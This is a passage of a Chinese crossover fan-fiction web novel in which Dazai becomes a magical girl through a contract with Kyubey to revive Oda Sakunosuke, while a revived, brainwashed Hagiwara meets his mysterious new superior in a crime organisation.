‘是吗，’太宰治笑了笑：‘不管你说的是不是真的，我如今也已经下定决心要赌一次了，希望能够贪心地赌赢一个好的结局吧。’ 丘比：‘你已经想好自己要许的愿望了？’ 太宰治点头：‘对，我可以现在就和你签订契约吗？’ 丘比：‘可以，就将你的愿望直接告诉我吧。’ 太宰治轻声道：‘我的愿望是，让织田作和他收养的那五个孩子好好活着，希望他能拥有与此世的联系，有足以活下去的牵绊。’ 在他说完的刹那，一道琥珀色的光芒骤然绽放开来，铺天盖地般席卷了这里。 在耀眼的光芒里，太宰治感受到了身体里涌现的能量与痛楚。 契约成立了。 绑住他手脚的绳子、遮住他眼睛的黑布往下滑落，青年的身体骤然间缩了水，化作一个十四、五岁模样的少女。 她披散着微卷的黑色长发，脖颈处戴着黑色与琥珀色混杂的宝石项链，肩上披着长款黑色披风。 身上是一件枯叶色的复古风短裙，裙子底边轻轻摆动着一圈黑色流苏，显得裙摆更加轻盈。 而没被衣物遮住的地方则大都缠着白色绷带。 太宰治还没来得及适应一下自己的变化，就听见旁边的坂口安吾略带紧张地喊道：“太宰？发生什么了？” 并且此刻，这辆货车也很明显猛然停了下来，还能听到有人打开车门下车的声音。 太宰治立刻意识到了原因——方才契约成立时显现出来的那道光芒，实在是过于明亮盛大。 即使坂口安吾眼上缠着厚重的黑布，也能感觉到这个车厢里突然亮了起来。 而那光芒从车厢门的缝隙中泄出，使得他们的敌人也察觉到了异常。 听着坂口安吾因为没得到回应而更加担心地喊他：“太宰？！”，还有外面逐渐靠近的脚步声…… 太宰治：“……” 丘比也没说契约成立时，会有这么显眼的光啊。 ……要是坂口安吾和组合的人知道了他能变身成魔法少女，那估计整个横滨也快要知道了。 他是绝对不会允许那种事情发生的。 现在应该怎么做呢，太宰治试探着发挥自己刚得到的能力。 心念一动，手上突然多出了一本书，封面设计精美、材质优良，书名是用艺术字体写的——《女生徒》。* 太宰治顾不上思考那么多，跟随着本能打开书本，从中随便撕下了一页。 琥珀色的能量涌动。 感觉到身体变得轻盈，太宰治下意识地碰触一旁的坂口安吾，而丘比也眼疾手快地扑了上去…… 下一秒，他们便一起消失在了原地。 第40章 车厢门乍然被打开。 组合的那两个人站在外面，手里拿着枪械，有点茫然地看着面前空无一人的车厢。 只剩下了一张孤零零的书页，慢慢悠悠地在空中飘转，最终轻轻地落到了地上。 ……不是说太宰治的异能是无效化吗？ 就是因为调查清楚了他的异能，组合才放心地安排他们两个人将太宰治带回去的。 难不成是因为异能特务科那个多管闲事的人？这突然发光之后就消失……是那家伙的异能吗？ 但他是怎么带走拥有无效化异能的太宰治的？？！ 金发蓝眸的年轻人语气沉重：“喂，任务搞砸了，我们现在该怎么办？” 另一个黑色长发的阴郁男子没说话，一副昏昏欲睡的样子。 “算了，问你也是白问。”年轻人无奈地说：“那两人估计早就逃远了，我们还是先回去复命吧。” …… 另一边，太宰治他们却并没有逃走多远。 一点也不熟练地使用了新得到的能力后，他便带着坂口安吾和丘比意外回到了之前的墓园。 还没有适应好这种有点眩晕的感觉，但太宰治先往前迈了步，走到了那棵大树底下。 这里曾经熟悉的墓碑不见了。 所以，愿望真的实现了吗？ 太宰治木然地站着，一时间有些不知所措。 直到坂口安吾发出的动静越来越大，太宰治才回过神来，转身发现对方在艰难地挣扎着，试图挣脱绳子的束缚。 突然从车厢里瞬移到了墓园，这种改变坂口安吾不可能发现不了，他应该更加不安了。 只是刚才喊太宰始终没得到回应，他只能自己努力尝试脱困。 太宰治在丘比的帮忙下，很快解除了变身，那本名为《女生徒》的书凭空消失。 他把灵魂宝石暂且放进了口袋中，准备之后再将其更改成自己新的波洛领结，这样比其他携带方式要安全许多。 随后，太宰治才过去帮忙给坂口安吾解开了绳子和黑布。 坂口安吾揉了揉酸痛的手腕：“太宰，你之前没事吧？还有我们这是在哪里？” 太宰治觉得有点不太对劲，又不太说得上来。 他还记得当务之急是用简单的借口把刚才的事快速糊弄过去，然后转移对方的注意力，让对方觉得有别的更重要的事情值得关注。 免得坂口安吾在解开绳子后，使用能够读取物体记忆的异能，那就实在瞒不住了。 太宰治先用编造好的谎言对其解释道：“没什么，只不过是我朋友帮了忙，它带着我们离开了那个车厢。” 坂口安吾诧异道：“你的朋友？” 太宰治抱起旁边的丘比递到对方面前，故意道：“对呀，它超级可爱的，可惜其他人都看不到它呢。” 在坂口安吾的视角里，确实只能看到对方抱着一团空气。 但出于信任，他还是犹豫着小心翼翼地伸出手，轻轻摸了一下前方的那团空气，还真的存在柔软的触感。 由于太宰治抱着这个不知名东西，有无效化异能的阻碍，坂口安吾无法使用异能，也不知道自己的异能能否对那团空气般的东西起作用。 坂口安吾担心地问：“咒灵？” “不是哦。”太宰治只是否认，却没有做什么解释，毫不掩饰自己隐藏着秘密。 正是这样光明正大表示着不想说出自己秘密的态度，让坂口安吾犹豫过后选择退了一步，不去过度插手朋友的私事，这也是他们能够成为那么久的朋友的原因之一。 坂口安吾看了看四周，选择随口提了一个简单的问题：“它为什么会把我们带到这里？” 太宰治刚想糊弄过去，就听见坂口安吾的下一句话——“这是哪里？” 太宰治愣了一下，看对方眼底的茫然不似作假。 其实说起来，从刚才起，坂口安吾的态度就有点与之前不同，与他的对话熟稔了许多，就像是两人之间从来没有过不可开交的矛盾。 也是。 既然契约成立了，织田作活着，那么他们三个人的关系应该也就和以前一样。 “这只是随机传送到的一个地方而已，没什么意义，不用在意。” 太宰治慢慢开口说：“对了，安吾，你知道织田作在哪里吗？” 坂口安吾疑惑道：“织田作？” 太宰治心跳都霎时停了一拍。 好在，坂口安吾只是不解为什么太宰治会突然问这种显而易见的问题，而不是忘记了织田作是谁。 换作平常，太宰治绝对不可能会误解别人的意思，只是这种关键的时刻实在有点太过紧张。 坂口安吾很快就接着道：“今天织田作先生不是在忙新书的签售会吗？我刚才本来就是准备去找他的。” 新书？签售会？！ 织田作生前的梦想就是成为一名小说家。 太宰治眼睛不由得亮了起来，立即催促道：“那我们现在快去吧。” “那组合的事情……”坂口安吾迟疑道。 太宰治无所谓道：“之后再说吧，先别管那个了。” 看着太宰治这样的态度，坂口安吾也只好无奈地说：“好吧，那我们走吧。也不知道在路上中途被组合绑了这么一趟后，还能不能赶上这场签售会。” “一定能够赶上的，如果赶不上的话……” 太宰治冷笑了一声，整个人的气场看起来非常危险。 坂口安吾有点不明所以，只能在心里默默为组合点了根蜡烛。 于是，他们快速离开了墓园，在路边打了辆车直接前往目的地。 新书的签售会在一家书店内举办。 他们两人踏入书店的时候，耳边立刻被嘈杂的声音所包围。书店里早已聚集了许多人，显然这位小说家的名气不小。 然而，与其他的签售会不同，这里的场景有些混乱无序。 人们没有排好队伍，而是三三两两地聚集在一起，交流着什么。 太宰治随便找了个旁边的人问：“麻烦请问一下现在是什么情况？签售会已经结束了吗？” 那个人叹气道：“签售会临时取消了，真是让人白跑一趟。” 坂口安吾立刻问：“那作者呢？” 对方无奈道：“我也不知道啊。应该就是因为作者临时有急事，签售会才取消的吧。” 太宰治顾不上多想，往前准备穿过拥挤的人群，想要先去签售区进一步了解一下情况。 这时，他的目光却忽地捕捉到了不远处的一个身影。 那个男子低着头，戴着帽子和口罩，帽檐下露出些许红发。此刻他从人群中悄悄溜了出来，步伐匆匆，似乎不想被人注意。 ——那是织田作！ 太宰治立刻跟了上去，坂口安吾也紧随其后。 织田作之助当然很快就发现了他们，显得有点惊讶，又不知道为什么松了一口气：“太宰？安吾？” 太宰治从他的态度中察觉到了熟悉，低声道：“我们出去再说吧。” 织田点了点头。 他们三个人随即快速离开了书店，避开其他人的注意，绕进了一个没人的小巷子里。 坂口安吾先忍不住问道：“织田作先生，你为什么要取消签售会？出了什么事情吗？” “我不知道该怎么和你们解释……” 织田犹豫道：“我好像多出了一些记忆，记忆里我没有因为一些事情而加入港口黑手党，而是成为了一名小说家。收养的那五个孩子也没有死，都好好地和我一起活到了现在。” 坂口安吾不解：“这不就是现实吗？” 织田摇头，说道：“不对，现实应该是我加入了黑手党，因为Mimic杀害了孩子们，所以我与他们的首领纪德同归于尽……我应该死在了四年前才对。” “你还好吗？”坂口安吾一副担心的表情。 显然他以为织田可能经历了梦魇，毕竟这些和现实差得也太多了，织田明明就站在这里，怎么可能已经死了四年。 织田本来就不擅长说服别人，现在就更苦恼了：“我现在没事，就是很不习惯。这一切和印象里太不一样了，你们的样子也变了，我更熟悉你们四年前的模样。” “到底该怎么说呢，我仿佛上一刻还在死前看见了太宰，我当时……” 太宰治接过了话，道：“你当时说，既然哪边对我都一样的话，就去成为帮助别人的那一方吧。” 织田作之助听着熟悉的话，有点恍惚：“……没错。” 他看向太宰治，又回想起那一刻。 自己即将死亡的那一刻。 那时对方脸上带着那样难过的表情，答应了自己最后越线的请求，去往光明的那一方。 此时，当年的那张面孔与如今眼前的面孔重叠在了一起。 即使面前的这个人没有穿着过去的黑色大衣，即使他的面孔不再有尚未完全褪去的稚气，即使他右眼的绷带早已解开…… 织田也彻底认出了对方。 那一点陌生全部褪去，另一种沉重的感觉却蔓延至心头。 他沉声道：“我的死而复生和你有关，对吧？太宰，你是怎么做到的？” “是我新结识的一个神奇的朋友做到的，它就在这旁边呢。”太宰治指了下一边乖巧待着的丘比。 织田望了眼那边，然而什么都没有看见。 “对了，是只有我才能看到它并听到它说话的哦，不过你们能够触碰到它。”太宰治看向坂口安吾：“安吾可以证明的，它刚才还帮了我们一个忙。织田作你要不要也试着摸一摸它？” 坂口安吾看着努力向他眨眼的太宰治，犹豫道：“额，确实是这样。” 没有选择权的丘比也没有抗拒。 织田却还是无法轻易放心。 能让人死而复生的神迹肯定需要付出昂贵的代价，这是不用思考就能猜到的事情。 织田坚持问道：“你付出了什么代价？” “没什么，你看我现在不是好好的嘛。” 太宰治张开手臂转了一圈，表示自己安然无恙。 然后他轻松地笑道：“不信你问安吾，我现在就职于一家侦探社，这里的工作非常轻松，同事们也很好相处，每天都过得很不错呢。” 织田没有说话，但神情仍旧显得沉重。 “那个，请问我能说一句吗？”坂口安吾出声道。 太宰治和织田作之助把目光转向他。 坂口安吾吐槽道：“……从刚才开始，你们两个人就变得好奇怪啊，总感觉你们有不少秘密瞒着我。” 这两人只能不好意思地沉默。 这种事情确实不好给没有记忆的另一人解释。 而且现实已经改变了，没有任何证据能够证明他们记忆里的过去真实存在过。【你现在阅读的是 】 40-50 第41章 “既然织田作先生怀疑这样的现实是虚假的，那么就让我来验证一下不就好了？”坂口安吾提议道。 织田作之助犹豫了一下，还是点头道：“好。” 任由坂口安吾向前伸手触碰了他的衣服，使其异能【堕落论】发动。 片刻后，坂口安吾收回手来，心情不知道是变得放松还是失落。 总之，他摇了摇头，认真道：“我看到的就是如今的现实。你一直都好好活着，根本不可能在四年前就已经死去。” 现实居然能被改变成这个样子吗，连【堕落论】也起不到作用。 这样的话，谁还能证实过去的那些回忆？ 织田作之助有点恍惚，下意识看向太宰治。 而对方向他回以温和的浅笑。 在现实和记忆全部被改变之后，要不是太宰也记得那些过往的话，织田还真不确定自己会不会把那些误认为是幻觉、梦境又或是其他人的异能造就的，而把如今的现实当作是真实。 坂口安吾叹了口气：“好了，别想那么多了。就算那是真的，也没有必要沉溺于过去、总是回顾那样糟糕的结局。” “不管怎么样，现在这样不是就挺好的了吗？” 太宰治也应道：“确实，比起‘虚假’的过去，我更喜欢这样的现实。” 织田看着他们沉默良久，最终放弃了继续追根究底，道：“……嗯，我也是。” 收养的孩子们还活着，成为小说家的梦想也实现了，他们三人还是能经常聚在一起的朋友。 这样已经很难得了，不需要再多想那么多，只要牢牢抓住现在就好了。 坂口安吾心情勉强缓和许多，问道：“那现在签售会的事情怎么办？” “之后再去管那件事吧。” 令人很意外的是，一直期待看到织田新书的太宰治却这么说：“我想，现在织田作应该更想见到孩子们。” 织田点了点头，他的确迫不及待地想看到还好好活着、已经长大了四岁的孩子们了。 “你们要一起来吗？”织田邀请道。 坂口安吾刚想答应，口袋里的手机便响了，他道了句抱歉，然后接起了电话。 不知道他听到了什么，眉头又皱起来，对着电话那边的人说：“发生在东京的这些事情，应该不归我们横滨异能特务科管吧？” “你们已经请了咒术师？没发现咒力残秽吗……我知道了。” “没问题，不过我还需要交接一下这边的工作，会尽快过去帮忙的。” 坂口安吾最后说完这一句，便结束了对话，但神色明显变得疲乏了很多。 太宰治好奇问道：“发生什么事了？” 坂口安吾回道：“东京那边发生了一些离奇的事件。一座很有名气的寺庙近来有很多民众失踪或自杀身亡。警方请了咒术师帮忙，却也查不到咒力残秽，甚至还有一位咒术师同样因此消失了。” 织田作之助道：“所以他们怀疑这和异能有关吗？” “是的，国内也就横滨这边异能者最多，他们想请很有应对这些的经验的异能特务科帮忙。又因为知道了我异能的效用，所以特意找我去东京帮忙解决这些事。” 坂口安吾感觉到苦恼：“感觉很麻烦啊，听说失踪和自杀的人很多，不知道会是怎样的异能做到的，我完全没有头绪解决。” 太宰治想到了什么，突然道：“这些也不一定和异能有关吧。” 坂口安吾有些惊讶：“可是没有咒力残秽，大概率也和咒术界无关吧……你是说，有新的不同于咒力和异能的能力存在吗？” 太宰治看向丘比：“应该是的。” 坂口安吾也瞬间想到了太宰治刚才说的那个看不见的朋友。 丘比对太宰治道：‘这种事情听起来确实很像是魔女和使魔所为。’ 太宰治在心里问它：‘你之前说，我需要背负与魔女战斗的使命，所以我必须去处理它们对吧？’ 丘比：‘也不是必须的事情，但最好还是去吧。你的灵魂宝石有些浑浊，需要用击败魔女后得到的悲叹之种净化。’ ‘浑浊？原来那个宝石本来是完全透澈的琥珀色吗？’ 太宰治回忆着那个黑色与琥珀色混杂的宝石，突然有些想把它再拿出来看看的冲动，但还是暂时放弃了。 丘比想起了伏黑惠和松田阵平依旧保持着清澈的宝石，难言地道：‘……是的。’ 于是，太宰治对坂口安吾说道：“我能跟你一起去东京看看吗？” “你来帮忙的话，我当然能够安心许多……”坂口安吾犹豫道：“不过，你不是还需要在横滨处理组合的事情吗？” 太宰治：“我可以同时处理的。” 坂口安吾为他着想道：“横滨和东京虽然离得比较近，但要是有急事发生，也不方便及时往返吧？” “放心吧，我有办法处理的。”太宰治道。 既然太宰治这样说了，坂口安吾也就不再多说，选择相信了对方。 太宰治脸上挂着神秘的笑，而手不觉放进了衣服口袋，下意识地暗暗摩挲那颗造型奇特的宝石。 他所说的办法自然是使用自己成为魔法少女后获得的能力。 不久前，那本《女生徒》的一张书页帮助了他，使他和安吾能从车厢里瞬移到墓地。 太宰治能够感觉到，那本书是由魔法构成的。只要魔力充沛，就可以无穷无尽地使用其中的书页。 每一张书页都能够带他瞬移到一个与他有‘缘’相连的地方，地点是随机的。 不过，如果能将书页撕下来，提前安置在一个地方。那么他便能够通过那本书直接抵达书页所在的地方，不管两地之间相隔多远。 所以他只需要在横滨放下一张书页，再去东京放下一张书页，就足以建立起联系的桥梁，能够在两地之间任意来回。 除此之外，变身后他还可以做到不依靠书页而进行短距离的瞬移。虽然更方便，但距离的限制非常大。 ……这些能力很有用。 太宰治明白，他现在还不能熟练掌握这些，但这却已经帮了大忙。如果熟练运用之后，或许还可以发掘出别的魔法的使用方式。 这种不等值的交换真的存在吗……他若有所思地看了眼丘比。 丘比这时像是忽然想起了什么似的，说道：‘太宰，既然你已经签订契约了，那我就先离开了。我还有事情要做，之后会再来找你的。’ 太宰治不放心地提议道：‘不如你拿一张我的书页再走吧，这样我就可以随时找到你了，也方便我们联系。’ ‘……不用了。’ 伊江朔久当然不想让太宰治能够随时出现在丘比的身边，这会带来许多麻烦的。 于是，丘比努力解释道：‘我不方便随身带着书页。而且普通人是能看到它，却看不到我的，我要是带着它，其他人只能看到一张书页在到处移动……’ 太宰治：‘那不是更有意思了吗？！’ 丘比用鲜红的眼睛友善地盯着他：‘……’ 太宰治笑了起来：‘好啦好啦，我知道了，再见~’ 离开太宰治身边后，伊江朔久直接将丘比这个马甲收回，把全部意识放回到本体这边。 他准备等太宰治到东京这边来的时候，再去注意一下对方的情况。 毕竟与魔女战斗是存在生命危险的。 尤其是第一次的战斗，魔法少女对魔女还不太了解，对自己的能力也没有好好掌握，是最容易发生意外的。 所以他不能放任不管。 不过，伊江朔久目前确实有重要的事情要做，就先回来了。 之前他拜托人帮忙调查了萩原研二的信息，没想到这么快就查得差不多了，然而却都是不怎么好的消息。 根据调查来看，萩原研二这四年来一直在一个成员都是以酒名为代号的、跨国犯罪组织里待着。 当年对方没有死于爆炸，却因那个炸弹犯的记恨，所以被带到了组织里。 这犯罪组织私底下在做人体实验，而炸弹犯是那里的底层人员，他将萩原研二带给了组织，使其成为了人体实验的对象。 因为萩原研二明面上是光荣‘牺牲’的警察，组织觉得今后或许能派上用处。 他们便尝试清洗了萩原研二过去的一切记忆，并成功洗脑令其效忠于组织，之后还让他替组织做了不少违法犯罪的事情。 伊江朔久心累地用手撑着头，喃喃道：“……还真是糟糕啊。” 萩原研二现在的处境应该很麻烦吧。 想要让对方先摆脱组织的控制，倒也不是一件难事，但其他的事情就不好说了。 萩原研二之前的身份已经变成了一个死人，没办法以本来面目活跃在公众面前，也不能与亲人朋友轻易见面。 而且萩原研二应该还会拥有这些年在组织里的记忆，那些记忆想必非常糟糕…… 伊江朔久叹了口气。 算了，先不去想那么多了，能活过来就已经很好了。 …… 而萩原研二此刻的处境也确实不太好。 他利用脑海里多出来的这些记忆，再加上自己一直优秀的人际交往能力，想办法把组织里认识的人都一一应付过去了，没有引起任何人的怀疑。 但是，应付一时简单，要一直应付下去就麻烦了。 作为一名警察，要伪装效忠于一个犯罪组织，还得被迫做那些违法犯罪的事情…… 萩原研二不敢想自己究竟能坚持多久。 如果能见到小阵平就好了。 那起影响很大的恐怖事件，萩原研二也从网上看过其他人录制的直播。 前面看到松田阵平很有可能会死的时候，他真的差点被吓死，以至于后面那个奇怪的白发少女出场后，他的情绪波动反而没有那么大了。 毕竟死而复生后，他的世界观就已经被打破了，那么有人会使用特殊能力应该也不是特别奇怪的事了（？） 萩原研二疲惫地合上眼。 好想见到小阵平，好好逼问一下对方到底是怎么让他重新活过来的，总感觉小阵平经历了很多事情呢。 但是现在……别说是和自己过去熟悉的人见面，就连通过手机联系都很危险。 想到这里，萩原研二的手机突然响了一下，有人给他发了一封邮件。 他犹豫地打开手机邮箱——那封邮件里是一个地址。 根据记忆来看，这是他目前的上级发给他的。 一时间，萩原研二脑海里想起了多出来的这些记忆中的许多片段，接任务、潜入杀人、替那些罪犯善后…… 难道担心的事情这么快就要来了吗？ 第42章 萩原研二心跳都不由得加快了几分，不知道自己是否真的能够做到那种违法犯罪的事情。 但是万一被人怀疑，被再次送去洗脑的话，他实在没有办法保证自己可以不被影响，就只能提前自尽了…… 因为世界上有很多东西都比自己的生命更加重要。 幸好，对面的另一封邮件很快就来了，内容不是自己本来以为的那样。 【明天早上去这个地方见你新的上级，以后你就听他的指令行事。】 ……新的上级？ 萩原研二有些奇怪，怎么突然自己就莫名换了一个上级。 【之后你每隔一段时间，就向组织详细地汇报一次你那边的情况。说明他的一举一动，和他让你做的所有事情，任何小事都要记得上报。】 看来，这个新的上级很特殊啊。 居然会被人这么忌惮。 所以，自己是被送过去做眼线的吗？ 萩原研二想，如果是这样的话，那个新的上级也不会全然无所察觉，应该会警惕自己这个突然被送过去的下属。 那么自己今后的处境估计就要更糟糕了，说不定会被指派去做什么非常危险的任务呢。 自己的这第二次人生，还真是地狱开局啊。 萩原研二苦笑。 于是，这天夜里他是彻底睡不着了。 再加上他之前晚上也因为刚复活、周围的变化太大，没能够好好入睡，所以导致第二日的精神差极了。 萩原研二好不容易熬到太阳出来，就直接起了床，想办法遮了一下自己的黑眼圈。 他准备早点去见那位新上级，反正伸头一刀，缩头也是一刀，不如直截了当些好。 坐车出发半个小时不到，萩原研二就抵达了前上级给的地址。 那是一栋住宅楼。 萩原研二心情有些复杂……没想到新上级居然住在这个地方。他勉力平复心绪，不想显露出自己的情绪。 进入楼层里后，萩原研二坐电梯到了相应的楼层，找到了新上级的家门口。 然而站在那扇门面前，他又有点犹豫，不知道应不应该现在敲门。 他到的时间似乎有点早了，刚才从楼下上来时，就发现这栋楼实在太过于安静了，可能是其他居民大多还没起床出门吧。 想了想，萩原研二决定还是先轻轻敲两下门试试，如果里面没反应的话，他就先到楼下待一会儿再上来。 不过刚轻轻敲了一下，他就听到里面传来轻微的什么东西滑动的声音。 很快，门便被打开了。 里面是一个意想不到的人——坐着轮椅的约莫只有二十出头年纪的青年微抬起头看着他，脸上带着温和的笑意。 这稍稍有些过长的白发，用黑色发圈绑着搭在右肩上，还有这如玉石般温润的青色双瞳……？？！ 怎么会是他？！！！ 萩原研二记得自己前天才从网上看到了这个人。 在那起被直播的恐怖事件中，这个青年是因为住在这里所以被牵连的无辜居民，还险些在爆炸中死掉。 松田阵平当时总是站在对方旁边，离得很近，谁都可以看出两人是朋友的关系。 他还记得从直播里，听见小阵平喊对方“伊江”…… 开玩笑的吧。 萩原研二甚至开始怀疑起自己是不是找错了地址，自己在犯罪组织里的新上级怎么会是这个人……不应该啊。 直到对方操控着轮椅往后退了一些，给自己让出路来。 萩原研二才稍微回过神来。 “请进吧。” 伊江朔久友好地示意他进去，顿了顿，补充了对他的称呼：“……萩原警官。” 对方看起来丝毫不惊讶，明显是知道他会过来。 萩原研二有点僵硬地走进了门内。 向来人际交往能力满分的他此刻却颇为无措，不知道该做些什么。 看来他昨天的猜测是错误的，大概并不是自己被送来这个人的身边做眼线，而是这个人主动从他之前的上级那边把他要过来了。 而且很显然，对方非常危险。 明明和犯罪组织有着这么密切的关系，被组织里的其他人那样警惕地忌惮着…… 却能获得松田阵平的信任。在当时的直播里，让松田阵平那么担心在意，还以为他可能在爆炸中丧生了。 萩原研二在心底哀叹。 小阵平说不定被骗得很惨啊。 伊江朔久操控着轮椅去泡了一杯茶水，将杯子放在茶几上，招待他道：“请坐吧。” 萩原研二坐在了一旁的沙发上，心情复杂地说：“谢谢。” 对方这样子真的很有欺骗性，要不是对方成了自己在犯罪组织的新上级，他估计也会像小阵平一样，以为这是一个容易相处的好人。 对方自我介绍道：“初次见面，你好，我叫伊江朔久。” 萩原研二强打起精神，维持起假面的微笑：“伊江先生，您好。” “叫我伊江就行了，不用担心，我对你没有恶意……对松田警官也同样没有恶意。” 白发青年的态度很好。 萩原研二无法轻易放心。 很大一部分原因是这个人对自己和松田阵平太了解了，而他们却对他知之甚少。 但表面上，他还得表现出友好的态度，微笑着点了点头：“好的……伊江。” 伊江朔久解释道：“其实，我目前待在那个组织是有原因的。虽然还不方便告诉你原因，不过我是发自内心希望组织覆灭的。你有什么需要帮助的都可以说，我会尽力帮你的。” 萩原研二有点犹豫。 对方的样子看起来挺真诚的，居然还敢说出希望组织覆灭这种话…… 他突然有点后悔没带个录音笔过来，要是能够抓住对方的一个把柄，才能让自己更安心一点。 而此刻，却听见对方忽然关心地问道：“你不舒服吗？还是昨天没有休息好？” 萩原研二愣了一下，想着自己的黑眼圈是不是没有遮好，被对方发现了。 他忙回复说：“我还好……” 因为总不能说是自己昨天收到消息要换新的上级，担心作为眼线送上门去被穿小鞋。 萩原研二就连忙想了个理由：“只是进入这栋公寓楼，让我想起了四年多前曾经在这里差点死掉的一次经历……” 这倒也确实是真话，他待在这里的确容易想起那次经历……当时在拆弹时，炸弹倒计时突然重启，要不是炸弹临时出了问题，他就得提前死掉了。 余口惜口蠹口珈 ……但其实也不算什么，反正之后才过了半年不到，他就还是在其他地方因炸弹爆炸而死了。 伊江朔久抿了抿嘴道：“抱歉。” 萩原研二没想到对方会突然这么说，连忙道：“没事的，这是我自己的问题，我很快就会适应好的。” “对了，听之前的上级说，以后我就听你的指令了。请问需要为你做些什么呢？” 萩原研二转过话题，问道。 而伊江朔久好像临时才开始思索这个问题一样，神情有点纠结。 萩原研二一边等待对方想好，一边在心里随便猜测。 当时他一进房门就感觉这个屋子有点空荡，家具不多，只有一个人居住的痕迹。 对于腿脚不便、只能坐轮椅的人来说，一个人的生活或工作肯定都是非常麻烦的。 所以，自己的任务会是做对方的助理吗？ 而伊江朔久这时道：“我希望你能帮我经营一家侦探事务所。地址就在米花町，毛利侦探事务所的旁边。” 萩原研二惊讶道：“侦探事务所？” “是的，不过那只是掩人耳目用的，亏本也无所谓。平时你可以就待在那里。” 伊江朔久道：“事务所后面有足够的居住空间，最好……我们都暂居到那里。如果是你一个人待在那里的话，组织的人就很可能会无所顾忌地又重新找上你了。” 这个提议还挺为人考虑的。 甚至，伊江朔久还细心地询问他的意见：“萩原警官，这样可以吗？还是你有什么其他想法吗？” 萩原研二心情复杂，对方一直以来展现的是这种态度的话……也就怪不得小阵平能和他交上朋友了。 他本准备应下，又突然想起：“我现在应该不太方便在人前露面，在其他人眼里我应该早就死了才对。要是被认识我的人发现，事情就麻烦了。” “没关系，组织里有一位精通易容的千面魔女。”伊江朔久像是早就想好了这点，说道：“我会请她帮忙给你易容，再为你准备一个新的身份。” 萩原研二倒是也从记忆里想起了那个代号成员的存在，没想到伊江连她也能请得动，真不知道伊江在组织里到底为什么这么有地位。 “……谢谢。” 伊江朔久想了想，犹豫道：“我也想请你帮我一个忙，可以吗？” 萩原研二怔了一下。 他一时想不到对方会用这种态度请自己帮什么忙。 按理说，伊江前面已经帮了他不少，他帮对方也确实是应该的。 可是，他拿不准对方会说什么，也无法轻易信任一个如此神秘、还与跨国犯罪组织有着那么多瓜葛的人。 萩原研二先问：“什么忙？” 伊江朔久慢一拍才终于说出口，神情有些不好意思：“……能不要把我与组织的事情告诉松田吗？” 这个忙还真是…… 萩原研二赶忙回答道：“没问题！也请不要将我和组织的事告诉他！” 对不起了小阵平。 萩原研二在心里暗暗想到，他实在是不好拒绝伊江的请求，所以才迫不得已答应的…… 绝对不是他故意想瞒着这些事情不告诉小阵平的。 嗯，就是这样。 希望小阵平能够相信。 第43章 第二日，伊江朔久又以丘比的形态在东京联系上了太宰治。 跟在太宰治和坂口安吾旁边，也因此能够得到一些更详细的情报，让伊江朔久判断出那些民众的消失和死亡确实与魔女有关。 “魔女啊……会长什么样子呢？会不会长得像美丽的小姐呢？” 太宰治好奇地嘀咕着。 丘比坐在他的肩头无情回答：‘并不会，而且它们也不可能答应与你殉情。’ 太宰治有些失望：“真无聊。” 坂口安吾提醒道：“别再和你那个朋友聊天了，我们马上就要到地方了，如果让其他人听见会很难解释的。” 这几天，坂口安吾也逐渐习惯了太宰治那个只有他自己能看到和听到的朋友。 “对了太宰，这次除了警方外，还有咒术师在。因为他们有一个同伴曾经来过这座寺庙执行任务，但却也同样消失了。” 这点太宰治早就知道了，可坂口安吾还要再次提醒他，这其中的原因只有一个…… 太宰治叹气：“安吾，我的朋友它真的不是咒灵。” 所以，完全不用担心咒术师会把丘比祓除，而且他们甚至都无法看见丘比。 坂口安吾：“好吧。” 他们踏入了寺庙的门槛，映入眼帘的是首先一片葱郁的绿树和青石板路。 接着往前走，便能看见错落有致的古建筑群，还有精心布置的许多景致，处处透露出历史的沉淀。 这座寺庙确实无愧于它的名气。 就是可惜，此刻这里却没了原本宁静庄严的气息，香火味也比往常淡了很多。 很显然，因为接连不断的游客和僧人失踪死亡事件，寺庙停止了对外开放，僧人们也被迫暂时住在了其他地方。 这里只剩下不少警察全副武装地在附近巡逻，有的警察脸上还略带着紧张不安的表情。 “坂口君、太宰君，”为首的一名较年迈的警察走过来，身后跟着许多下属。他的步伐和语气有些偏快：“你们终于来了。” 坂口安吾点点头，与对方简单交流了一下目前的情况。 在警方守在这座寺庙的这段时间里，虽然都已经让这里的民众撤离了，但是却又有几名警察在这里失踪。 可是放着这座寺庙不管也不可能，之前消失死亡的人太多了，上面给了很大的压力。 这些警察只能硬着头皮武装好自己，尽量不单独行动，跟着大部队一起巡逻，希望能找出不对劲的地方。 “我们已经在这里提前几乎布满了监控，有录到几名警察突然凭空消失的画面。他们消失的地点就在这里，请跟我来。” 紧接着，在对方的引导下，坂口安吾和太宰治走过青石板路，到了一处平平无奇的灌木丛旁边。 那位较年迈的警察指着那处灌木丛，说道：“他们当时就好像被控制住了一样，同时径直走向这里，然后便瞬间消失不见了。我们后来也尝试从这里走过，但是没有再发生任何异常。” 坂口安吾上前半蹲下，抬手触碰灌木丛的叶子，发动了自己的异能。 他读取了残留在那片叶子上的记忆——和那位警察说的没什么出入。 那几名警察确实是这么失踪的，一个个地径直往前走去，再一个个地消失不见。 看上去就像是他们由此踏入了另一个奇特的空间般。 “怎么样？”那位较年迈的警察显然听说过坂口安吾的异能，带着些许期待询问道。 坂口安吾回道：“我看到了当时的情况，不过也只看到了那几名警察消失的过程。在更久之前，也没见到有其他人在这里消失过。” 这证明其他民众不是在这里消失的。 那位警察边思索边说：“那就是说，在寺庙里的其他地方待着也可能消失，这里的所有人随时都有可能陷入险境……” 丘比对太宰治单独说道：‘那些人应该是被魔女控制着走进了魔女的结界。’ 太宰治望着面前看起来很普通的灌木丛，问道：‘我能从这里进入那个结界吗？’ ‘这里不是结界的入口，看来这次的魔女比较活跃、喜欢到处乱跑。’ 丘比摇了摇头：‘不过，我能感知到它还在这座寺庙里。你也可以试一试，用灵魂宝石认真感应，就能找到它的具体位置。’ 太宰治如今已经把灵魂宝石更改成了他的波洛领结。 不过，目前既有实时监控在看着这里，旁边还有不少警察，他不管怎么小心还是容易引起其他人注意。 太宰治想了想，准备直接对坂口安吾说他要去别的地方看看…… 这时候，一阵不和谐的喧嚣声夹杂着枪响，忽然自远处传来，瞬间引起了这里所有人的警觉。 那位较年迈的警察眼中闪过一丝凝重，侧头对身后下属道：“走！” 然后他便一边拿枪上膛，一边领头向声音传来的方向疾步而去，动作和反应都比其他人要快。 太宰治没有着急，而是先问丘比：‘那是魔女所在的方位吗？’ ‘不是，那里离魔女所在的位置有一定距离。’ 丘比补充说明道：‘那应该是魔女控制着人类造成的动静，魔女通常会散播绝望、引诱人类自杀。’ 